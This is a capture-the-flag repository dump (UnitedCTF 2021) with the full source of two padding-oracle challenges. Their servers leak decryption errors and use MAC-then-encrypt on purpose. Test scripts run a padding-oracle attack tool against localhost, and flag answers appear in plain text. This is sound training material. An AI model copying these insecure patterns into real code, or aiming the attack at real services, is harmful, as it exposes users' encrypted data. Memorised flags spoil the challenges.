├── .gitignore ├── README.md ├── challenges ├── crypto │ ├── blindpaddingoracle │ │ ├── .dockerignore │ │ ├── .env │ │ ├── .gitignore │ │ ├── Dockerfile │ │ ├── README.md │ │ ├── docker-compose.yml │ │ ├── nodemon.json │ │ ├── override │ │ │ ├── oracle-caller.js │ │ │ └── padding-oracle.js │ │ ├── package-lock.json │ │ ├── package.json │ │ ├── src │ │ │ ├── crypto.ts │ │ │ ├── index.ts │ │ │ └── views │ │ │ │ └── index.ejs │ │ └── tsconfig.json │ ├── encodage │ │ └── README.md │ ├── paddingoracle │ │ ├── .dockerignore │ │ ├── .env │ │ ├── .gitignore │ │ ├── Dockerfile │ │ ├── README.md │ │ ├── docker-compose.yml │ │ ├── nodemon.json │ │ ├── package-lock.json │ │ ├── package.json │ │ ├── src │ │ │ ├── crypto.ts │ │ │ ├── index.ts │ │ │ └── views │ │ │ │ └── index.ejs │ │ └── tsconfig.json │ └── vaxinull │ │ ├── .dockerignore │ │ ├── .gitignore │ │ ├── Dockerfile │ │ ├── README.md │ │ ├── challenges │ │ ├── 1 │ │ │ ├── FLAG │ │ │ └── README.md │ │ ├── 2 │ │ │ ├── FLAG │ │ │ └── README.md │ │ ├── 3 │ │ │ ├── FLAG │ │ │ └── README.md │ │ └── 4 │ │ │ ├── FLAG │ │ │ └── README.md │ │ ├── docker-compose.yml │ │ ├── package-lock.json │ │ ├── package.json │ │ ├── partials │ │ ├── bootstrap.ejs │ │ ├── head.ejs │ │ └── nav.ejs │ │ ├── public │ │ └── favicon.ico │ │ ├── src │ │ ├── express.ts │ │ ├── jws.ts │ │ ├── shc.ts │ │ └── utils.ts │ │ ├── tsconfig.json │ │ ├── views │ │ ├── index.ejs │ │ ├── qr.ejs │ │ └── shc.ejs │ │ └── writeups │ │ ├── 1 │ │ └── index.ts │ │ ├── 2 │ │ └── index.ts │ │ ├── 3 │ │ └── index.ts │ │ ├── 4 │ │ └── index.ts │ │ ├── README.md │ │ ├── utils.ts │ │ └── writeup.ts ├── desjardins │ ├── FAT32 Forensics │ │ ├── README.md │ │ └── solve.py │ ├── Looking for interns-Recherchons des stagiaires.md │ └── Windows Forensics │ │ └── README.md ├── docker-compose.yml ├── forensic │ ├── document │ │ ├── README.md │ │ └── rapport-de-vulnérabilité.odt │ └── openme │ │ ├── .gitignore │ │ ├── README.md │ │ └── build.sh ├── misc │ └── discord │ │ └── README.md ├── programming │ ├── battleship │ │ ├── .dockerignore │ │ ├── .env │ │ ├── .gitignore │ │ ├── Dockerfile │ │ ├── README.md │ │ ├── docker-compose.yml │ │ ├── nodemon.json │ │ ├── package-lock.json │ │ ├── package.json │ │ ├── src │ │ │ ├── board.ts │ │ │ ├── healthcheck.ts │ │ │ ├── index.ts │ │ │ ├── random.ts │ │ │ └── solver.ts │ │ └── tsconfig.json │ ├── esolang │ │ ├── .dockerfile │ │ ├── Dockerfile │ │ ├── README.md │ │ ├── SPECIFICATION.md │ │ ├── challenges │ │ │ ├── 1 │ │ │ │ ├── FLAG │ │ │ │ └── README.md │ │ │ ├── 2 │ │ │ │ ├── FLAG │ │ │ │ ├── README.md │ │ │ │ └── challenge.ctf │ │ │ ├── 3 │ │ │ │ ├── FLAG │ │ │ │ └── README.md │ │ │ └── FORMAT.md │ │ ├── docker-compose.dev.yml │ │ ├── docker-compose.yml │ │ ├── interpreters │ │ │ ├── js │ │ │ │ ├── .gitignore │ │ │ │ ├── package-lock.json │ │ │ │ ├── package.json │ │ │ │ ├── src │ │ │ │ │ ├── environment.ts │ │ │ │ │ ├── interpreter.ts │ │ │ │ │ ├── node.ts │ │ │ │ │ ├── operator.ts │ │ │ │ │ ├── player.ts │ │ │ │ │ ├── utils.ts │ │ │ │ │ ├── webpack.ts │ │ │ │ │ └── world.ts │ │ │ │ ├── tsconfig.json │ │ │ │ └── webpack.config.js │ │ │ └── py │ │ │ │ ├── .gitignore │ │ │ │ ├── README.md │ │ │ │ ├── ctf │ │ │ │ ├── __init__.py │ │ │ │ ├── enums.py │ │ │ │ ├── interpreter.py │ │ │ │ ├── operator.py │ │ │ │ ├── player.py │ │ │ │ └── world.py │ │ │ │ └── ctfl.py │ │ ├── tests │ │ │ ├── alphabet.ctf │ │ │ ├── delay.ctf │ │ │ ├── generator.ctf │ │ │ ├── hello.ctf │ │ │ ├── input.ctf │ │ │ ├── meta.ctf │ │ │ └── one.ctf │ │ ├── web │ │ │ ├── .gitignore │ │ │ ├── package-lock.json │ │ │ ├── package.json │ │ │ ├── partials │ │ │ │ ├── base-head.ejs │ │ │ │ ├── bootstrap.ejs │ │ │ │ ├── footer.ejs │ │ │ │ └── nav.ejs │ │ │ ├── public │ │ │ │ ├── favicon.ico │ │ │ │ └── playground.js │ │ │ ├── src │ │ │ │ └── index.ts │ │ │ ├── tsconfig.json │ │ │ └── views │ │ │ │ ├── challenge.ejs │ │ │ │ ├── gallery.ejs │ │ │ │ ├── index.ejs │ │ │ │ └── playground.ejs │ │ └── writeups │ │ │ ├── 1 │ │ │ └── README.md │ │ │ ├── 2 │ │ │ └── README.md │ │ │ └── 3 │ │ │ └── README.md │ ├── redos │ │ ├── Dockerfile │ │ ├── README.md │ │ ├── chall1.md │ │ ├── chall2.md │ │ ├── chall3.md │ │ ├── chall4.md │ │ ├── docker-compose.yml │ │ └── src │ │ │ ├── challenge1.py │ │ │ ├── challenge2.py │ │ │ ├── challenge3.py │ │ │ ├── challenge4.py │ │ │ ├── exceptions.py │ │ │ ├── handler.py │ │ │ ├── launch_server.py │ │ │ └── secrets.py │ └── timingattack │ │ ├── Dockerfile │ │ ├── README.md │ │ ├── src │ │ ├── index.php │ │ ├── styles.css │ │ └── user.php │ │ └── writeup.py ├── pwn │ └── simple_notes │ │ ├── Dockerfile │ │ ├── Makefile │ │ ├── README.md │ │ ├── flag.txt │ │ ├── simple_notes │ │ ├── simple_notes.c │ │ ├── simple_notes.conf │ │ └── sol.py ├── reverse │ ├── bootme │ │ ├── .gitignore │ │ ├── Makefile │ │ ├── README.md │ │ └── boot.asm │ ├── character_customization │ │ ├── .gitignore │ │ ├── README.md │ │ ├── attachments │ │ │ ├── Pasted image 20210909140915.png │ │ │ ├── Pasted image 20210909200733.png │ │ │ └── Pasted image 20210909201022.png │ │ ├── private │ │ │ ├── .dockerignore │ │ │ ├── Dockerfile │ │ │ ├── character_customization │ │ │ ├── docker-compose.yml │ │ │ ├── flag.txt │ │ │ └── server.py │ │ ├── public │ │ │ └── character_customization │ │ └── src │ │ │ ├── CMakeLists.txt │ │ │ ├── Menu.cpp │ │ │ ├── Menu.h │ │ │ └── main.cpp │ ├── codedump │ │ ├── Readme.md │ │ ├── Writeup.md │ │ ├── binaries │ │ │ ├── codedump.bin │ │ │ └── win_shellcode.bin │ │ ├── screenshots │ │ │ ├── 0.png │ │ │ ├── 1.png │ │ │ ├── 2.png │ │ │ ├── 3.png │ │ │ ├── 4.png │ │ │ ├── 5.png │ │ │ └── 6.png │ │ └── src │ │ │ ├── decoder.asm │ │ │ └── win_shellcode.asm │ ├── exports │ │ ├── README.md │ │ ├── main.cpp │ │ ├── makefile │ │ └── program │ ├── raycaster │ │ ├── README.md │ │ ├── main.go │ │ └── main.zip │ ├── reverseme │ │ ├── .gitignore │ │ ├── Makefile │ │ ├── README.md │ │ ├── boot.asm │ │ └── print.asm │ ├── stringstrings │ │ ├── README.md │ │ ├── main.go │ │ ├── makefile │ │ └── stringsstrings │ └── tangled │ │ ├── .gitignore │ │ ├── Makefile │ │ ├── README.md │ │ ├── boot.asm │ │ ├── chars.asm │ │ ├── disk.asm │ │ ├── flag.asm │ │ ├── font.asm │ │ ├── print.asm │ │ ├── system.asm │ │ └── tools │ │ ├── scramble_end.py │ │ └── shuffle_chars.py ├── sqli │ ├── sqli1 │ │ ├── Dockerfile │ │ ├── README.md │ │ └── src │ │ │ ├── index.php │ │ │ └── styles.css │ ├── sqli2 │ │ ├── Dockerfile │ │ ├── README.md │ │ └── src │ │ │ ├── index.php │ │ │ └── styles.css │ ├── sqli3 │ │ ├── Dockerfile │ │ ├── README.md │ │ └── src │ │ │ ├── index.php │ │ │ └── styles.css │ ├── sqli4 │ │ ├── Dockerfile │ │ ├── README.md │ │ └── src │ │ │ ├── index.php │ │ │ └── styles.css │ ├── sqli5 │ │ ├── Dockerfile │ │ ├── README.md │ │ └── src │ │ │ ├── index.php │ │ │ └── styles.css │ ├── sqli6 │ │ ├── Dockerfile │ │ ├── README.md │ │ └── src │ │ │ ├── index.php │ │ │ └── styles.css │ ├── sqli7 │ │ ├── Dockerfile │ │ ├── README.md │ │ └── src │ │ │ ├── index.php │ │ │ └── styles.css │ ├── sqli8 │ │ ├── Dockerfile │ │ ├── README.md │ │ └── src │ │ │ ├── index.php │ │ │ └── styles.css │ └── sqli9 │ │ ├── Dockerfile │ │ ├── README.md │ │ └── src │ │ ├── index.php │ │ └── styles.css ├── steg │ ├── 26 shades of red │ │ ├── README.md │ │ └── file.png │ ├── lostandfound │ │ ├── .gitignore │ │ ├── README.md │ │ ├── flags │ │ │ ├── final │ │ │ │ └── .gitkeep │ │ │ └── original │ │ │ │ ├── flag1.png │ │ │ │ ├── flag2.png │ │ │ │ ├── flag3.png │ │ │ │ ├── flag4.png │ │ │ │ └── flag5.png │ │ ├── package-lock.json │ │ ├── package.json │ │ ├── src │ │ │ ├── flag1.ts │ │ │ ├── flag2.ts │ │ │ ├── flag3.ts │ │ │ ├── flag4.ts │ │ │ └── flag5.ts │ │ └── tsconfig.json │ ├── nagware │ │ ├── README.md │ │ └── logo.jpg │ ├── rqbp-ed │ │ ├── README.md │ │ └── file.txt │ └── spectacles │ │ ├── README.md │ │ └── file.wav └── web │ ├── api1_nosqli │ ├── .dockerignore │ ├── .gitignore │ ├── Dockerfile │ ├── README.md │ ├── app.js │ ├── docker-compose.yml │ ├── package.json │ └── solve.py │ ├── api2_packagevulnerability │ ├── .dockerignore │ ├── .gitignore │ ├── Dockerfile │ ├── README.md │ ├── app.js │ ├── docker-compose.yml │ ├── flag.txt │ ├── package.json │ └── users.model.js │ ├── cookies │ ├── Dockerfile │ ├── README.md │ └── src │ │ ├── index.php │ │ ├── styles.css │ │ └── user.php │ ├── hackertools │ ├── .dockerignore │ ├── .gitignore │ ├── Dockerfile │ ├── README.md │ ├── challenges │ │ ├── 1 │ │ │ ├── FLAG │ │ │ └── README.md │ │ ├── 2 │ │ │ ├── FLAG │ │ │ └── README.md │ │ ├── 3 │ │ │ ├── FLAG │ │ │ └── README.md │ │ └── 4 │ │ │ ├── FLAG │ │ │ └── README.md │ ├── docker-compose.dev.yml │ ├── docker-compose.yml │ ├── scripts │ │ ├── lua.sh │ │ ├── php.sh │ │ └── ruby.sh │ ├── web │ │ ├── package.json │ │ ├── partials │ │ │ ├── appnav.ejs │ │ │ ├── bootstrap.ejs │ │ │ └── head.ejs │ │ ├── public │ │ │ ├── favicon.ico │ │ │ └── k1dd13.gif │ │ ├── src │ │ │ ├── brainfuck.ts │ │ │ └── index.ts │ │ ├── tsconfig.json │ │ └── views │ │ │ ├── app.ejs │ │ │ ├── index.ejs │ │ │ ├── login.ejs │ │ │ ├── tool.ejs │ │ │ └── tools.ejs │ └── writeups │ │ ├── 2 │ │ └── solve.py │ │ ├── 3 │ │ └── solve.py │ │ └── README.md │ ├── pastagen │ ├── Dockerfile │ ├── README.md │ ├── docker-compose.yml │ └── src │ │ ├── index.php │ │ ├── pastas │ │ ├── chungus.txt │ │ ├── dog.txt │ │ ├── doge.txt │ │ ├── elephant.txt │ │ ├── feelsbadman.txt │ │ ├── gnome.txt │ │ ├── pikachu.txt │ │ ├── seagull.txt │ │ ├── shrek.txt │ │ ├── skeleton.txt │ │ ├── spider.txt │ │ ├── thinking.txt │ │ ├── toucan.txt │ │ ├── trollface.txt │ │ └── yee.txt │ │ └── wowe.png │ ├── plusbassoumissionnaire │ ├── Dockerfile │ ├── README.md │ └── src │ │ ├── backups_rpy4qplxikzb3lld46m2v9prw5mm91cqwgkcvw │ │ ├── .htaccess │ │ ├── courriel d'audit.pdf │ │ └── users.db │ │ ├── index.php │ │ ├── logo.jpg │ │ └── robots.txt │ ├── storengo │ ├── .dockerignore │ ├── .gitignore │ ├── Dockerfile │ ├── README.md │ ├── docker-compose.yml │ ├── entrypoint.sh │ ├── package-lock.json │ ├── package.json │ ├── src │ │ ├── ftp.ts │ │ ├── http.ts │ │ ├── static │ │ │ ├── favicon.png │ │ │ ├── index.html │ │ │ ├── style.css │ │ │ └── upload.html │ │ ├── userdata │ │ │ └── .gitkeep │ │ └── utils │ │ │ ├── crypto.ts │ │ │ └── redis.ts │ └── tsconfig.json │ ├── upload1 │ ├── Dockerfile │ ├── README.md │ └── src │ │ ├── .htaccess │ │ ├── index.php │ │ └── logo.png │ ├── upload2 │ ├── Dockerfile │ ├── README.md │ └── src │ │ ├── .htaccess │ │ ├── index.php │ │ └── logo.png │ ├── upload3 │ ├── Dockerfile │ ├── README.md │ └── src │ │ ├── .htaccess │ │ ├── index.php │ │ └── logo.png │ ├── upload4 │ ├── Dockerfile │ ├── README.md │ └── src │ │ ├── .htaccess │ │ ├── index.php │ │ └── logo.png │ ├── wasm │ ├── .dockerignore │ ├── .gitignore │ ├── Dockerfile │ ├── README.md │ ├── WRITEUP.md │ ├── challenge │ │ ├── FLAG │ │ └── KEY │ ├── docker-compose.dev.yml │ ├── docker-compose.yml │ ├── wasm │ │ └── challenge.wat │ └── web │ │ ├── app.py │ │ ├── public │ │ ├── favicon.ico │ │ ├── search.gif │ │ ├── too_slow.gif │ │ └── wasm.js │ │ ├── requirements.txt │ │ └── templates │ │ └── index.html │ └── wasm2 │ ├── .dockerignore │ ├── .gitignore │ ├── Dockerfile │ ├── README.md │ ├── WRITEUP.md │ ├── challenge │ └── FLAG │ ├── ctfd │ └── base.wat │ ├── docker-compose.dev.yml │ ├── docker-compose.yml │ ├── package-lock.json │ ├── package.json │ ├── public │ ├── fail.gif │ ├── favicon.ico │ ├── success.gif │ └── upload.gif │ ├── src │ └── index.ts │ ├── tsconfig.json │ ├── views │ └── index.ejs │ └── writeup │ ├── solution.wat │ ├── studio.c │ └── studio.wat └── logo.png /.gitignore: -------------------------------------------------------------------------------- 1 | **/node_modules 2 | *.orig 3 | .DS_Store 4 | .idea 5 | *.pyc 6 | .vscode 7 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ![logo](./logo.png) 2 | 3 | # UnitedCTF 2021 4 | 5 | - Flag format: `/FLAG-.*/` 6 | - Language: 7 | - Description: french 8 | - Challenge: french or english 9 | -------------------------------------------------------------------------------- /challenges/crypto/blindpaddingoracle/.dockerignore: -------------------------------------------------------------------------------- 1 | /Dockerfile 2 | /docker-compose* 3 | 4 | /node_modules 5 | /out -------------------------------------------------------------------------------- /challenges/crypto/blindpaddingoracle/.env: -------------------------------------------------------------------------------- 1 | PORT=5000 2 | SLEEP_TIME=1000 3 | FLAG=FLAG-SHOULD_HAVE_USED_ENC_THEN_MAC_INSTEAD -------------------------------------------------------------------------------- /challenges/crypto/blindpaddingoracle/.gitignore: -------------------------------------------------------------------------------- 1 | /node_modules 2 | /out -------------------------------------------------------------------------------- /challenges/crypto/blindpaddingoracle/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM node:fermium-alpine AS build 2 | 3 | RUN mkdir /app 4 | WORKDIR /app 5 | 6 | COPY ./*.json /app/ 7 | RUN npm install 8 | 9 | COPY ./src /app/src 10 | RUN npm run build 11 | 12 | FROM node:fermium-alpine 13 | 14 | RUN mkdir /app 15 | WORKDIR /app 16 | 17 | ENV NODE_ENV production 18 | 19 | COPY --from=build /app/package* /app/ 20 | COPY --from=build /app/node_modules /app/node_modules 21 | 22 | COPY --from=build /app/out /app 23 | 24 | RUN npm prune 25 | 26 | EXPOSE 5000 27 | USER node 28 | CMD [ "npm", "run", "start:docker" ] 29 | -------------------------------------------------------------------------------- /challenges/crypto/blindpaddingoracle/README.md: -------------------------------------------------------------------------------- 1 | # Blind padding oracle 2 | > Crypto 3 | Author: @KptCheeseWhiz 4 | 5 | ## Challenge 6 | 7 | Great job! But now it seems there are a few security hardening methods that have been implemented.. Can you still generate a ciphertext with the plaintext FLAG in it? 8 | 9 | ## Resources 10 | 11 | - https://en.wikipedia.org/wiki/Padding_oracle_attack 12 | 13 | ## Setup 14 | 15 | ### Requirements 16 | - docker 17 | - docker-compose 18 | 19 | ### How to run 20 | - Execute the command `docker-compose up` -------------------------------------------------------------------------------- /challenges/crypto/blindpaddingoracle/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: "3.0" 2 | 3 | services: 4 | app: 5 | build: 6 | context: "." 7 | restart: "unless-stopped" 8 | environment: 9 | - NODE_ENV=production 10 | - PORT=5000 11 | 12 | - SLEEP_TIME=0 13 | - FLAG=FLAG-SHOULD_HAVE_USED_ENC_THEN_MAC_INSTEAD 14 | ports: 15 | - 11112:5000 16 | -------------------------------------------------------------------------------- /challenges/crypto/blindpaddingoracle/nodemon.json: -------------------------------------------------------------------------------- 1 | { 2 | "exec": "ts-node ./src/index.ts", 3 | "watch": ["src"], 4 | "ext": "ts,json", 5 | "ignore": ["src/**/*.spec.ts"] 6 | } 7 | -------------------------------------------------------------------------------- /challenges/crypto/blindpaddingoracle/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "blindpaddingoracle", 3 | "version": "1.0.0", 4 | "description": "", 5 | "main": "index.js", 6 | "scripts": { 7 | "pretest": "cp override/* node_modules/padding-oracle-attacker/dist", 8 | "test": "poattack decrypt 'http://localhost:5000/decrypt?ciphertext=' \"hex:`curl -sSL http://localhost:5000/encrypt?plaintext=follow%20the%20white%20rabbit%20%F0%9F%90%87`\" 16 400 --no-cache && poattack encrypt 'http://localhost:5000/decrypt?ciphertext=' \"follow the white rabbit 🐇fe3f1a081aee4740\" 16 400 --no-cache", 9 | "dev": "nodemon --config nodemon.json", 10 | "clean": "rm -rf ./out || true", 11 | "build": "npm run clean && tsc && cp -R ./src/views ./out/views", 12 | "start": "node out/index.js", 13 | "start:docker": "node /app/index.js" 14 | }, 15 | "keywords": [], 16 | "author": "", 17 | "license": "ISC", 18 | "devDependencies": { 19 | "@types/express": "^4.17.13", 20 | "@types/node": "^16.7.1", 21 | "@types/node-fetch": "^2.5.12", 22 | "nodemon": "^2.0.12", 23 | "ts-node": "^10.2.1", 24 | "typescript": "^4.3.5" 25 | }, 26 | "dependencies": { 27 | "dotenv": "^10.0.0", 28 | "ejs": "^3.1.6", 29 | "express": "^4.17.1", 30 | "express-session": "^1.17.2", 31 | "node-fetch": "^2.6.1", 32 | "padding-oracle-attacker": "^0.2.4" 33 | } 34 | } 35 | -------------------------------------------------------------------------------- /challenges/crypto/blindpaddingoracle/src/crypto.ts: -------------------------------------------------------------------------------- 1 | import crypto from "crypto"; 2 | 3 | const KEY = crypto.randomBytes(16); 4 | 5 | const SLEEP_TIME = Number(process.env.SLEEP_TIME || 0); 6 | const sleep = (ms: number) => new Promise((resolve) => setTimeout(resolve, ms)); 7 | 8 | const sign = (text: string) => 9 | crypto.createHash("sha512").update(text).digest("hex").slice(0, 16); 10 | 11 | export const encrypt = async (text: string) => { 12 | const iv = crypto.randomBytes(16); 13 | const cipher = crypto.createCipheriv("aes-128-cbc", KEY, iv); 14 | return Buffer.concat([ 15 | iv, 16 | cipher.update(text), 17 | cipher.update(sign(text)), 18 | cipher.final(), 19 | ]).toString("hex"); 20 | }; 21 | 22 | export const decrypt = async (enc: string) => { 23 | const buffer = Buffer.from(enc, "hex"); 24 | const iv = buffer.slice(0, 16); 25 | const cipher = crypto.createDecipheriv("aes-128-cbc", KEY, iv); 26 | const check = Buffer.concat([ 27 | cipher.update(buffer.slice(16)), 28 | cipher.final(), 29 | ]); 30 | 31 | const sig = check.slice(-16).toString("utf-8"); 32 | const plaintext = check.slice(0, -16).toString("utf-8"); 33 | 34 | if (sig === sign(plaintext)) return plaintext; 35 | 36 | // simulate hard work 37 | await sleep(SLEEP_TIME); 38 | 39 | throw new Error("bad check"); 40 | }; 41 | -------------------------------------------------------------------------------- /challenges/crypto/blindpaddingoracle/src/index.ts: -------------------------------------------------------------------------------- 1 | import dotenv from "dotenv"; 2 | dotenv.config(); 3 | 4 | import express from "express"; 5 | 6 | import { decrypt, encrypt } from "./crypto"; 7 | 8 | const app = express(); 9 | 10 | app.set("view engine", "ejs"); 11 | app.set("views", require("path").join(__dirname, "views")); 12 | 13 | app.get( 14 | "/decrypt", 15 | async ( 16 | req: express.Request, 17 | res: express.Response, 18 | next: express.NextFunction 19 | ) => { 20 | try { 21 | const ciphertext = req.query.ciphertext; 22 | if (typeof ciphertext !== "string") 23 | return res.status(400).send("invalid request"); 24 | const plaintext = await decrypt(ciphertext); 25 | if (plaintext.indexOf("FLAG") !== -1) return res.send(process.env.FLAG); 26 | res.send(plaintext); 27 | } catch (e) { 28 | next(e); 29 | } 30 | } 31 | ); 32 | 33 | app.get( 34 | "/encrypt", 35 | async ( 36 | req: express.Request, 37 | res: express.Response, 38 | next: express.NextFunction 39 | ) => { 40 | try { 41 | const plaintext = req.query.plaintext; 42 | if (typeof plaintext !== "string") 43 | return res.status(400).send("invalid request"); 44 | if (plaintext.indexOf("FLAG") !== -1) 45 | return res.status(403).send("forbidden word detected"); 46 | res.send(await encrypt(plaintext)); 47 | } catch (e) { 48 | next(e); 49 | } 50 | } 51 | ); 52 | 53 | app.get("/", (_: express.Request, res: express.Response) => 54 | res.render("index") 55 | ); 56 | 57 | app.use(function ( 58 | err: Error, 59 | req: express.Request, 60 | res: express.Response, 61 | next: express.NextFunction 62 | ) { 63 | res.status(400).send("error"); 64 | }); 65 | 66 | app.listen(Number(process.env.PORT || 5000)); 67 | -------------------------------------------------------------------------------- /challenges/crypto/paddingoracle/.dockerignore: -------------------------------------------------------------------------------- 1 | /Dockerfile 2 | /docker-compose* 3 | 4 | /node_modules 5 | /out -------------------------------------------------------------------------------- /challenges/crypto/paddingoracle/.env: -------------------------------------------------------------------------------- 1 | PORT=5000 2 | FLAG=FLAG-TOO_MANY_ERRORS_TOO_MANY_DETAILS -------------------------------------------------------------------------------- /challenges/crypto/paddingoracle/.gitignore: -------------------------------------------------------------------------------- 1 | /node_modules 2 | /out -------------------------------------------------------------------------------- /challenges/crypto/paddingoracle/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM node:fermium-alpine AS build 2 | 3 | RUN mkdir /app 4 | WORKDIR /app 5 | 6 | COPY ./*.json /app/ 7 | RUN npm install 8 | 9 | COPY ./src /app/src 10 | RUN npm run build 11 | 12 | FROM node:fermium-alpine 13 | 14 | RUN mkdir /app 15 | WORKDIR /app 16 | 17 | ENV NODE_ENV production 18 | 19 | COPY --from=build /app/package* /app/ 20 | COPY --from=build /app/node_modules /app/node_modules 21 | 22 | COPY --from=build /app/out /app 23 | 24 | RUN npm prune 25 | 26 | EXPOSE 5000 27 | USER node 28 | CMD [ "npm", "run", "start:docker" ] 29 | -------------------------------------------------------------------------------- /challenges/crypto/paddingoracle/README.md: -------------------------------------------------------------------------------- 1 | # Padding oracle 2 | > Crypto 3 | Author: @KptCheeseWhiz 4 | 5 | ## Challenge 6 | 7 | Can you generate a ciphertext with the plaintext FLAG in it? 8 | - the whole source code is given 9 | 10 | ## Resources 11 | 12 | - https://en.wikipedia.org/wiki/Padding_oracle_attack 13 | 14 | ## Setup 15 | 16 | ### Requirements 17 | - docker 18 | - docker-compose 19 | 20 | ### How to run 21 | - Execute the command `docker-compose up` -------------------------------------------------------------------------------- /challenges/crypto/paddingoracle/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: "3.0" 2 | 3 | services: 4 | app: 5 | build: 6 | context: "." 7 | restart: "unless-stopped" 8 | environment: 9 | - NODE_ENV=production 10 | - PORT=5000 11 | 12 | - FLAG=FLAG-TOO_MANY_ERRORS_TOO_MANY_DETAILS 13 | ports: 14 | - 11111:5000 15 | -------------------------------------------------------------------------------- /challenges/crypto/paddingoracle/nodemon.json: -------------------------------------------------------------------------------- 1 | { 2 | "exec": "ts-node ./src/index.ts", 3 | "watch": ["src"], 4 | "ext": "ts,json", 5 | "ignore": ["src/**/*.spec.ts"] 6 | } 7 | -------------------------------------------------------------------------------- /challenges/crypto/paddingoracle/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "paddingoracle", 3 | "version": "1.0.0", 4 | "description": "", 5 | "main": "index.js", 6 | "scripts": { 7 | "test": "poattack decrypt 'http://localhost:5000/decrypt?ciphertext=' \"hex:`curl -sSL http://localhost:5000/encrypt?plaintext=follow%20the%20white%20rabbit%20%F0%9F%90%87`\" 16 400 --no-cache && poattack encrypt 'http://localhost:5000/decrypt?ciphertext=' \"follow the white rabbit 🐇\" 16 400 --no-cache", 8 | "dev": "nodemon --config nodemon.json", 9 | "clean": "rm -rf ./out || true", 10 | "build": "npm run clean && tsc && cp -R ./src/views ./out/views", 11 | "start": "node out/index.js", 12 | "start:docker": "node /app/index.js" 13 | }, 14 | "keywords": [], 15 | "author": "", 16 | "license": "ISC", 17 | "devDependencies": { 18 | "@types/express": "^4.17.13", 19 | "@types/node": "^16.7.1", 20 | "nodemon": "^2.0.12", 21 | "ts-node": "^10.2.1", 22 | "typescript": "^4.3.5" 23 | }, 24 | "dependencies": { 25 | "dotenv": "^10.0.0", 26 | "ejs": "^3.1.6", 27 | "express": "^4.17.1", 28 | "express-session": "^1.17.2", 29 | "padding-oracle-attacker": "^0.2.4" 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /challenges/crypto/paddingoracle/src/crypto.ts: -------------------------------------------------------------------------------- 1 | import crypto from "crypto"; 2 | 3 | const KEY = crypto.randomBytes(16); 4 | 5 | export const encrypt = (text: string) => { 6 | const iv = crypto.randomBytes(16); 7 | const cipher = crypto.createCipheriv("aes-128-cbc", KEY, iv); 8 | return Buffer.concat([iv, cipher.update(text), cipher.final()]).toString( 9 | "hex" 10 | ); 11 | }; 12 | 13 | export const decrypt = (enc: string) => { 14 | const buffer = Buffer.from(enc, "hex"); 15 | const iv = buffer.slice(0, 16); 16 | const cipher = crypto.createDecipheriv("aes-128-cbc", KEY, iv); 17 | return Buffer.concat([ 18 | cipher.update(buffer.slice(16)), 19 | cipher.final(), 20 | ]).toString("utf-8"); 21 | }; 22 | -------------------------------------------------------------------------------- /challenges/crypto/paddingoracle/src/index.ts: -------------------------------------------------------------------------------- 1 | import dotenv from "dotenv"; 2 | dotenv.config(); 3 | 4 | import express from "express"; 5 | 6 | import { decrypt, encrypt } from "./crypto"; 7 | 8 | const app = express(); 9 | 10 | app.set("view engine", "ejs"); 11 | app.set("views", require("path").join(__dirname, "views")); 12 | 13 | app.get("/decrypt", (req: express.Request, res: express.Response) => { 14 | const ciphertext = req.query.ciphertext; 15 | if (typeof ciphertext !== "string") 16 | return res.status(400).send("invalid request"); 17 | const plaintext = decrypt(ciphertext); 18 | if (plaintext.indexOf("FLAG") !== -1) return res.send(process.env.FLAG); 19 | res.send(plaintext); 20 | }); 21 | 22 | app.get("/encrypt", (req: express.Request, res: express.Response) => { 23 | const plaintext = req.query.plaintext; 24 | if (typeof plaintext !== "string") 25 | return res.status(400).send("invalid request"); 26 | if (plaintext.indexOf("FLAG") !== -1) 27 | return res.status(403).send("forbidden word detected"); 28 | res.send(encrypt(plaintext)); 29 | }); 30 | 31 | app.get("/", (_: express.Request, res: express.Response) => 32 | res.render("index") 33 | ); 34 | 35 | app.use(function ( 36 | err: Error, 37 | req: express.Request, 38 | res: express.Response, 39 | next: express.NextFunction 40 | ) { 41 | res.status(400).send(err.message); 42 | }); 43 | 44 | app.listen(Number(process.env.PORT || 5000)); 45 | -------------------------------------------------------------------------------- /challenges/crypto/vaxinull/.dockerignore: -------------------------------------------------------------------------------- 1 | node_modules 2 | Dockerfile 3 | -------------------------------------------------------------------------------- /challenges/crypto/vaxinull/.gitignore: -------------------------------------------------------------------------------- 1 | node_modules/ 2 | .env* 3 | -------------------------------------------------------------------------------- /challenges/crypto/vaxinull/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM node:14 2 | 3 | WORKDIR /app 4 | 5 | COPY ./package*.json ./ 6 | 7 | RUN npm install 8 | 9 | COPY . . 10 | 11 | CMD ["npm", "start"] 12 | -------------------------------------------------------------------------------- /challenges/crypto/vaxinull/README.md: -------------------------------------------------------------------------------- 1 | # VaxiNull 2 | 3 | > Crypto 4 | 5 | Author: @alexandre-lavoie 6 | 7 | ## Overview 8 | 9 | VaxiNull is a Montreal, QC based startup that aims to improve the QC vaccination verification process. They draw close inspiration to the current QC vaccination passport standard. They claim their solution is unbreakable and offer samples: maybe you can break them? 10 | 11 | ## Challenges 12 | 13 | Given the scale of the repo, challenges were split off into `./challenges`. The challenges should be prefaced by the previous overview and a link to the website. 14 | 15 | ## Resources 16 | 17 | - JWS RFC: https://datatracker.ietf.org/doc/html/rfc7515 18 | 19 | - VaxiCode Verif Bypass Writeup: https://blog.oki.moe/2021/08/vaxicode-verif-pas/ 20 | 21 | - ECDSA Lib (JS): https://www.npmjs.com/package/elliptic 22 | 23 | - ECDSA Lib (Python): https://pypi.org/project/pycryptodome/ 24 | 25 | # Setup 26 | 27 | Requirements: 28 | 29 | - `docker` 30 | - `docker-compose` 31 | 32 | Start: 33 | 34 | ``` 35 | Production: docker-compose up 36 | ``` 37 | 38 | (The challenge will be locally hosted at http://localhost:4200/). 39 | -------------------------------------------------------------------------------- /challenges/crypto/vaxinull/challenges/1/FLAG: -------------------------------------------------------------------------------- 1 | FLAG-Y0U_C4N_D3C0D3_SHC -------------------------------------------------------------------------------- /challenges/crypto/vaxinull/challenges/1/README.md: -------------------------------------------------------------------------------- 1 | # VaxiNull - QR 2 | 3 | What is hidden in the QR code? 4 